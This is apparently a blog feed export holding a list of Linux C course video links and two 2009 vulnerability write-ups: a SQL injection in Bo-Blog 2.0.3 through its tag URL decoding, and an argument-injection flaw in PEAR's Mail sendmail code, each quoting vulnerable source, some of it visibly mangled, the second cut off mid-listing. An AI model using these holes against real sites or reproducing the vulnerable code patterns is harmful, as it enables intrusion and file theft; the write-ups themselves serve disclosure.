&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第六章 顺序程序设计(4)<br>
<a href="http://player.youku.com/player.php/sid/XNDk5MDYwOA" target="_blank">http://player.youku.com/player.php/sid/XNDk5MDYwOA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第六章 顺序程序设计(5)<br>
<a href="http://player.youku.com/player.php/sid/XNDk5MDkyOA" target="_blank">http://player.youku.com/player.php/sid/XNDk5MDkyOA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第六章 顺序程序设计(6)<br>
<a href="http://player.youku.com/player.php/sid/XNDk5MTA4OA" target="_blank">http://player.youku.com/player.php/sid/XNDk5MTA4OA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第六章 顺序程序设计(7)<br>
<a href="http://player.youku.com/player.php/sid/XNDk5MTEyOA" target="_blank">http://player.youku.com/player.php/sid/XNDk5MTEyOA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第六章 顺序程序设计(8)<br>
<a href="http://player.youku.com/player.php/sid/XNDk5MTE3Ng" target="_blank">http://player.youku.com/player.php/sid/XNDk5MTE3Ng</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第六章 顺序程序设计实验(1)<br>
<a href="http://player.youku.com/player.php/sid/XNDk5MjI2MA" target="_blank">http://player.youku.com/player.php/sid/XNDk5MjI2MA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第六章 顺序程序设计实验(2)<br>
<a href="http://player.youku.com/player.php/sid/XNDk5MjM0OA" target="_blank">http://player.youku.com/player.php/sid/XNDk5MjM0OA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第七章 选择程序设计(1)<br>
<a href="http://player.youku.com/player.php/sid/XNDk5Mzg3Ng" target="_blank">http://player.youku.com/player.php/sid/XNDk5Mzg3Ng</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第七章 选择程序设计(2)<br>
<a href="http://player.youku.com/player.php/sid/XNDk5NDc5Ng" target="_blank">http://player.youku.com/player.php/sid/XNDk5NDc5Ng</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第七章 选择程序设计(3)<br>
<a href="http://player.youku.com/player.php/sid/XNDk5NDkyNA" target="_blank">http://player.youku.com/player.php/sid/XNDk5NDkyNA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第七章 选择程序设计(4)<br>
<a href="http://player.youku.com/player.php/sid/XNDk5NTAyMA" target="_blank">http://player.youku.com/player.php/sid/XNDk5NTAyMA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第七章 选择程序设计实验(1)<br>
<a href="http://player.youku.com/player.php/sid/XNDk5NDQ2OA" target="_blank">http://player.youku.com/player.php/sid/XNDk5NDQ2OA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第七章 选择程序设计实验(2)<br>
<a href="http://player.youku.com/player.php/sid/XNDk5NDk1Mg" target="_blank">http://player.youku.com/player.php/sid/XNDk5NDk1Mg</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第七章 选择程序设计实验(3)<br>
<a href="http://player.youku.com/player.php/sid/XNDk5NTAwNA" target="_blank">http://player.youku.com/player.php/sid/XNDk5NTAwNA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第八章 循环结构程序设计(1)<br>
<a href="http://player.youku.com/player.php/sid/XNDk5ODQzNg" target="_blank">http://player.youku.com/player.php/sid/XNDk5ODQzNg</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第八章 循环结构程序设计(2)<br>
<a href="http://player.youku.com/player.php/sid/XNDk5ODcwOA" target="_blank">http://player.youku.com/player.php/sid/XNDk5ODcwOA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第八章 循环结构程序设计(3)<br>
<a href="http://player.youku.com/player.php/sid/XNDk5ODc0OA" target="_blank">http://player.youku.com/player.php/sid/XNDk5ODc0OA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第八章 循环结构程序设计(4)<br>
<a href="http://player.youku.com/player.php/sid/XNDk5ODgwOA" target="_blank">http://player.youku.com/player.php/sid/XNDk5ODgwOA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第八章 循环结构程序设计(5)<br>
<a href="http://player.youku.com/player.php/sid/XNDk5ODk2NA" target="_blank">http://player.youku.com/player.php/sid/XNDk5ODk2NA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第八章 循环结构程序设计(6)<br>
<a href="http://player.youku.com/player.php/sid/XNDk5OTE0NA" target="_blank">http://player.youku.com/player.php/sid/XNDk5OTE0NA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第八章 循环结构程序设计(7)<br>
<a href="http://player.youku.com/player.php/sid/XNDk5OTIwOA" target="_blank">http://player.youku.com/player.php/sid/XNDk5OTIwOA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第八章 循环结构程序设计实验(1)<br>
<a href="http://player.youku.com/player.php/sid/XNDk5OTQ5Ng" target="_blank">http://player.youku.com/player.php/sid/XNDk5OTQ5Ng</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第八章 循环结构程序设计实验(2)<br>
<a href="http://player.youku.com/player.php/sid/XNDk5OTU4OA" target="_blank">http://player.youku.com/player.php/sid/XNDk5OTU4OA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第九章 数组(1)<br>
<a href="http://player.youku.com/player.php/sid/XNTAwMDAwOA" target="_blank">http://player.youku.com/player.php/sid/XNTAwMDAwOA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第九章 数组(2)<br>
<a href="http://player.youku.com/player.php/sid/XNTAwMDE4MA" target="_blank">http://player.youku.com/player.php/sid/XNTAwMDE4MA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第九章 数组(3)<br>
<a href="http://player.youku.com/player.php/sid/XNTAwMDIwNA" target="_blank">http://player.youku.com/player.php/sid/XNTAwMDIwNA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第九章 数组(4)<br>
<a href="http://player.youku.com/player.php/sid/XNTAwMDIyOA" target="_blank">http://player.youku.com/player.php/sid/XNTAwMDIyOA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第九章 数组(5)<br>
<a href="http://player.youku.com/player.php/sid/XNTAwMDMyOA" target="_blank">http://player.youku.com/player.php/sid/XNTAwMDMyOA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第九章 数组(6)<br>
<a href="http://player.youku.com/player.php/sid/XNTAwMDQ3Ng" target="_blank">http://player.youku.com/player.php/sid/XNTAwMDQ3Ng</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第九章 数组(7)<br>
<a href="http://player.youku.com/player.php/sid/XNTAwMDQ5Mg" target="_blank">http://player.youku.com/player.php/sid/XNTAwMDQ5Mg</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第九章 数组及字符串实验(1)<br>
<a href="http://player.youku.com/player.php/sid/XNTAwMDYxNg" target="_blank">http://player.youku.com/player.php/sid/XNTAwMDYxNg</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第九章 数组及字符串实验(2)<br>
<a href="http://player.youku.com/player.php/sid/XNTAwMDcyOA" target="_blank">http://player.youku.com/player.php/sid/XNTAwMDcyOA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第九章 数组及字符串实验(3)<br>
<a href="http://player.youku.com/player.php/sid/XNTAwMDc0MA" target="_blank">http://player.youku.com/player.php/sid/XNTAwMDc0MA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第九章 数组及字符串实验(4)<br>
<a href="http://player.youku.com/player.php/sid/XNTAwMDk4NA" target="_blank">http://player.youku.com/player.php/sid/XNTAwMDk4NA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第九章 数组及字符串实验(5)<br>
<a href="http://player.youku.com/player.php/sid/XNTAwMTIxNg" target="_blank">http://player.youku.com/player.php/sid/XNTAwMTIxNg</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第九章 数组及字符串实验(6)<br>
<a href="http://player.youku.com/player.php/sid/XNTAwMTI0MA" target="_blank">http://player.youku.com/player.php/sid/XNTAwMTI0MA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十章 模块化设计与函数(1)<br>
<a href="http://player.youku.com/player.php/sid/XNTAwMTY3Ng" target="_blank">http://player.youku.com/player.php/sid/XNTAwMTY3Ng</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十章 模块化设计与函数(2)<br>
<a href="http://player.youku.com/player.php/sid/XNTAwMTgwMA" target="_blank">http://player.youku.com/player.php/sid/XNTAwMTgwMA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十章 模块化设计与函数(3)<br>
<a href="http://player.youku.com/player.php/sid/XNTAwMTgyNA" target="_blank">http://player.youku.com/player.php/sid/XNTAwMTgyNA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十章 模块化设计与函数(4)<br>
<a href="http://player.youku.com/player.php/sid/XNTAwMTg1Ng" target="_blank">http://player.youku.com/player.php/sid/XNTAwMTg1Ng</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十章 模块化设计与函数(5)<br>
<a href="http://player.youku.com/player.php/sid/XNTAwMTk5Ng" target="_blank">http://player.youku.com/player.php/sid/XNTAwMTk5Ng</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十章 模块化设计与函数(6)<br>
<a href="http://player.youku.com/player.php/sid/XNTAwMjA5Mg" target="_blank">http://player.youku.com/player.php/sid/XNTAwMjA5Mg</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十章 模块化设计与函数(7)<br>
<a href="http://player.youku.com/player.php/sid/XNTAwMjM3Mg" target="_blank">http://player.youku.com/player.php/sid/XNTAwMjM3Mg</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十章 模块化设计与函数(8)<br>
<a href="http://player.youku.com/player.php/sid/XNTAwMjQ2MA" target="_blank">http://player.youku.com/player.php/sid/XNTAwMjQ2MA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十章 模块化设计与函数(9)<br>
<a href="http://player.youku.com/player.php/sid/XNTAwMjUwNA" target="_blank">http://player.youku.com/player.php/sid/XNTAwMjUwNA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十章 模块化设计与函数实验(1)<br>
<a href="http://player.youku.com/player.php/sid/XNTAwMzM1Mg" target="_blank">http://player.youku.com/player.php/sid/XNTAwMzM1Mg</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十章 模块化设计与函数实验(2)<br>
<a href="http://player.youku.com/player.php/sid/XNTAwMzk0OA" target="_blank">http://player.youku.com/player.php/sid/XNTAwMzk0OA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十章 模块化设计与函数实验(3)<br>
<a href="http://player.youku.com/player.php/sid/XNTAwMzk5Ng" target="_blank">http://player.youku.com/player.php/sid/XNTAwMzk5Ng</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十章 模块化设计与函数实验(4)<br>
<a href="http://player.youku.com/player.php/sid/XNTAwNDA0MA" target="_blank">http://player.youku.com/player.php/sid/XNTAwNDA0MA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十章 模块化设计与函数实验(5)<br>
<a href="http://player.youku.com/player.php/sid/XNTAwNDA2NA" target="_blank">http://player.youku.com/player.php/sid/XNTAwNDA2NA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十一章 预处理命令(1)<br>
<a href="http://player.youku.com/player.php/sid/XNTAwMzg3Ng" target="_blank">http://player.youku.com/player.php/sid/XNTAwMzg3Ng</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十一章 预处理命令(2)<br>
<a href="http://player.youku.com/player.php/sid/XNTAwMzk4NA" target="_blank">http://player.youku.com/player.php/sid/XNTAwMzk4NA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十一章 预处理命令(3)<br>
<a href="http://player.youku.com/player.php/sid/XNTAwNDAyOA" target="_blank">http://player.youku.com/player.php/sid/XNTAwNDAyOA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十一章 预处理命令实验(1)<br>
<a href="http://player.youku.com/player.php/sid/XNTAxNTYxNg" target="_blank">http://player.youku.com/player.php/sid/XNTAxNTYxNg</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十一章 预处理命令实验(2)<br>
<a href="http://player.youku.com/player.php/sid/XNTAxNjAzNg" target="_blank">http://player.youku.com/player.php/sid/XNTAxNjAzNg</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十一章 预处理命令实验(3)<br>
<a href="http://player.youku.com/player.php/sid/XNTAxNjA2NA" target="_blank">http://player.youku.com/player.php/sid/XNTAxNjA2NA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十二章 指针的用法(1)<br>
<a href="http://player.youku.com/player.php/sid/XNTAxNjE3Ng" target="_blank">http://player.youku.com/player.php/sid/XNTAxNjE3Ng</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十二章 指针的用法(2)<br>
<a href="http://player.youku.com/player.php/sid/XNTAxNjM0MA" target="_blank">http://player.youku.com/player.php/sid/XNTAxNjM0MA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十二章 指针的用法(3)<br>
<a href="http://player.youku.com/player.php/sid/XNTAxNjM4OA" target="_blank">http://player.youku.com/player.php/sid/XNTAxNjM4OA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十二章 指针的用法(4)<br>
<a href="http://player.youku.com/player.php/sid/XNTAxNjYwOA" target="_blank">http://player.youku.com/player.php/sid/XNTAxNjYwOA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十二章 指针的用法(5)<br>
<a href="http://player.youku.com/player.php/sid/XNTAxNjkyNA" target="_blank">http://player.youku.com/player.php/sid/XNTAxNjkyNA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十二章 指针的用法(6)<br>
<a href="http://player.youku.com/player.php/sid/XNTAxNzAwMA" target="_blank">http://player.youku.com/player.php/sid/XNTAxNzAwMA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十二章 指针的用法(7)<br>
<a href="http://player.youku.com/player.php/sid/XNTAxNzQ1Ng" target="_blank">http://player.youku.com/player.php/sid/XNTAxNzQ1Ng</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十二章 指针的用法(8)<br>
<a href="http://player.youku.com/player.php/sid/XNTAxNzYwMA" target="_blank">http://player.youku.com/player.php/sid/XNTAxNzYwMA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十二章 指针的用法(9)<br>
<a href="http://player.youku.com/player.php/sid/XNTAxNzYzMg" target="_blank">http://player.youku.com/player.php/sid/XNTAxNzYzMg</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十二章 指针的用法实验(1)<br>
<a href="http://player.youku.com/player.php/sid/XNTAxOTM2NA" target="_blank">http://player.youku.com/player.php/sid/XNTAxOTM2NA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十二章 指针的用法实验(2)<br>
<a href="http://player.youku.com/player.php/sid/XNTAxOTg0MA" target="_blank">http://player.youku.com/player.php/sid/XNTAxOTg0MA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十二章 指针的用法实验(3)<br>
<a href="http://player.youku.com/player.php/sid/XNTAxOTg4MA" target="_blank">http://player.youku.com/player.php/sid/XNTAxOTg4MA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十二章 指针的用法实验(4)<br>
<a href="http://player.youku.com/player.php/sid/XNTAxOTkyMA" target="_blank">http://player.youku.com/player.php/sid/XNTAxOTkyMA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十三章 结构体与共同体(1)<br>
<a href="http://player.youku.com/player.php/sid/XNTAyODMwNA" target="_blank">http://player.youku.com/player.php/sid/XNTAyODMwNA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十三章 结构体与共同体(2)<br>
<a href="http://player.youku.com/player.php/sid/XNTAyODQ0OA" target="_blank">http://player.youku.com/player.php/sid/XNTAyODQ0OA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十三章 结构体与共同体(3)<br>
<a href="http://player.youku.com/player.php/sid/XNTAyODUwOA" target="_blank">http://player.youku.com/player.php/sid/XNTAyODUwOA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十三章 结构体与共同体(4) &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<br>
<a href="http://player.youku.com/player.php/sid/XNTAyODk0MA" target="_blank">http://player.youku.com/player.php/sid/XNTAyODk0MA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十三章 结构体与共同体(5)<br>
<a href="http://player.youku.com/player.php/sid/XNTAyOTA2OA" target="_blank">http://player.youku.com/player.php/sid/XNTAyOTA2OA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十三章 结构体与共同体实验(1)<br>
<a href="http://player.youku.com/player.php/sid/XNTAyOTk4OA" target="_blank">http://player.youku.com/player.php/sid/XNTAyOTk4OA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十三章 结构体与共同体实验(2)<br>
<a href="http://player.youku.com/player.php/sid/XNTAzMDQ4MA" target="_blank">http://player.youku.com/player.php/sid/XNTAzMDQ4MA</a><br>
&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; Linux C 第十三章 结构体与共同体实验(3)<br>
<a href="http://player.youku.com/player.php/sid/XNTAzMDUyMA" target="_blank">http://player.youku.com/player.php/sid/XNTAzMDUyMA</a> ]]></description>
		<eb:creationDate>2009-05-11 13:28:32</eb:creationDate>
		<eb:modificationDate></eb:modificationDate>
    </item>
    <item>
		<title><![CDATA[ Bo-Blog 2.0.3 注射漏洞 ]]></title>
		<link>http://blog.tom.com/xieliang_521/article/7142.html</link>
		<description><![CDATA[ <div>
<p>BY Flyh4t</p>
<p><a href="http://bbs.wolvez.org/" target="_blank"><font color="#333399">http://bbs.wolvez.org</font></a></p>
<p>上次硬盘坏了丢了很多数据</p>
<p>今天某兄弟生日</p>
<p>掏空我的记忆回想起来一个很老的漏洞</p>
<div>
<div>
<ol class="alt">
<li style="list-style: none">//inc/mod_tag.php &nbsp;&nbsp;</li>
<li>&nbsp;&nbsp;</li>
<li>if&nbsp;(!defined('VALIDREQUEST'))&nbsp;die&nbsp;('Access&nbsp;Denied.'); &nbsp;&nbsp;</li>
<li>if&nbsp;(!$job)&nbsp;$job='default'; &nbsp;&nbsp;</li>
<li>$itemid=safe_convert($itemid); &nbsp;&nbsp;</li>
<li>acceptrequest('tag,rewrite'); &nbsp;&nbsp;</li>
<li>$tag=($config['smarturl']==1&nbsp;&amp;&amp;&nbsp;$config['urlrewrite']==1&nbsp;&amp;&amp;&nbsp;$rewrite==1)&nbsp;?&nbsp;tagurldecode($tag)&nbsp;:&nbsp;$tag; &nbsp;&nbsp;</li>
<li>//要管理员使用urlrewite功能才可以 &nbsp;&nbsp;</li>
<li>if&nbsp;($job=='default')&nbsp;{ &nbsp;&nbsp;</li>
<li>} &nbsp;&nbsp;</li>
<li>if&nbsp;($job=='show')&nbsp;{ &nbsp;&nbsp;</li>
<li>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;($mode==1&nbsp;||&nbsp;$mode==2)&nbsp;$mbcon['tag_list']=$mode-1; &nbsp;&nbsp;</li>
<li>&nbsp;&nbsp;&nbsp;&nbsp;$m_b=new&nbsp;getblogs; &nbsp;&nbsp;</li>
<li>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</li>
<li>&nbsp;&nbsp;&nbsp;&nbsp;$allentries=$blog-&gt;getgroupbyquery("SELECT&nbsp;*&nbsp;FROM&nbsp;`{$db_prefix}tags`&nbsp;WHERE&nbsp;`tagname`='{$tag}'&nbsp;LIMIT&nbsp;0,1"); &nbsp;&nbsp;</li>
<li>----------------------------&nbsp;&nbsp;</li>
</ol>
</div>
<p>$tag 变量进入查询语句是被单引号包围的，但是我们恰好可以通过tagurldecode函数引入单引号，看代码</p>
<div>
<div>
<ol class="alt">
<li style="list-style: none">function&nbsp;tagurlencode($str)&nbsp;{//编码函数 &nbsp;&nbsp;</li>
<li>&nbsp;&nbsp;&nbsp;&nbsp;$str=urlencode($str); &nbsp;&nbsp;</li>
<li>&nbsp;&nbsp;&nbsp;&nbsp;$str=str_replace('%',&nbsp;'-',&nbsp;$str); &nbsp;&nbsp;</li>
<li>} &nbsp;&nbsp;</li>
<li>&nbsp;&nbsp;&nbsp;&nbsp;$str=str_replace('-',&nbsp;'%',&nbsp;$str); &nbsp;&nbsp;</li>
<li>&nbsp;&nbsp;&nbsp;&nbsp;$str=urldecode($str); &nbsp;&nbsp;</li>
<li>}&nbsp;&nbsp;</li>
</ol>
</div>
<p>function tagurlencode($str) {//编码函数<br>
&nbsp;&nbsp;&nbsp; $str=urlencode($str);<br>
&nbsp;&nbsp;&nbsp; $str=str_replace('-', '--', $str);<br>
&nbsp;&nbsp;&nbsp; $str=str_replace('%', '-', $str);<br>
&nbsp;&nbsp;&nbsp; return $str;<br>
}<br>
function tagurldecode($str) { //解码函数<br>
&nbsp;&nbsp;&nbsp; $str=str_replace('-', '%', $str);<br>
&nbsp;&nbsp;&nbsp; $str=str_replace('%%', '-', $str);<br>
&nbsp;&nbsp;&nbsp; $str=urldecode($str);<br>
&nbsp;&nbsp;&nbsp; return $str;<br>
}</p>
</div>
</div>
</div> ]]></description>
		<eb:creationDate>2009-05-11 09:40:21</eb:creationDate>
		<eb:modificationDate></eb:modificationDate>
    </item>
    <item>
		<title><![CDATA[ php pear mail包任意文件读写漏洞 ]]></title>
		<link>http://blog.tom.com/xieliang_521/article/7141.html</link>
		<description><![CDATA[ <div>
<p>漏洞介绍：PEAR是PHP的官方开源类库, PHP Extension and Application Repository的缩写。PEAR将PHP程序开发过程中常用的功能编写成类库，涵盖了页面呈面、数据库访问、文件操作、数据结构、缓存操作、网络协议等许多方面，用户可以很方便地使用。它是一个PHP扩展及应用的一个代码仓库，简单地说，PEAR就是PHP的cpan。但是80sec发现，Pear的Mail模块存在安全漏洞，某些情况下将导致用户以webserver权限在主机上读写操作系统任意文件，继而控制主机执行php代码等。<br>
漏洞分析：PEAR的Mail包错误地使用escapeShellCmd来过滤传入到sendmail命令的用户参数，用户提交精心构造的参数即可调用sendmail的其他参数，即可在操作系统上读写任意文件。</p>
<div>
<div>
<ol class="alt">
<li style="list-style: none">Sendmail.php &nbsp;&nbsp;</li>
<li>&nbsp;&nbsp;</li>
<li>if&nbsp;(!isset($from))&nbsp;{ &nbsp;&nbsp;</li>
<li>}&nbsp;elseif&nbsp;(strpos($from,&nbsp;'&nbsp;')&nbsp;!==&nbsp;false&nbsp;|| &nbsp;&nbsp;</li>
<li>strpos($from,&nbsp;'&amp;')&nbsp;!==&nbsp;false&nbsp;|| &nbsp;&nbsp;</li>
<li>return&nbsp;PEAR::raiseError('From&nbsp;address&nbsp;specified&nbsp;with&nbsp;dangerous&nbsp;characters.'); &nbsp;&nbsp;</li>
<li>&nbsp;&nbsp;</li>
<li>$mail&nbsp;=&nbsp;@popen($this-&gt;sendmail_path&nbsp;.&nbsp;(!emptyempty($this-&gt;sendmail_args)&nbsp;?&nbsp;'&nbsp;'&nbsp;.&nbsp;$this-&gt;sendmail_args&nbsp;:&nbsp;'')&nbsp;.&nbsp;"&nbsp;-f$from&nbsp;--&nbsp;$recipients",&nbsp;'w'); &nbsp;&nbsp;</li>
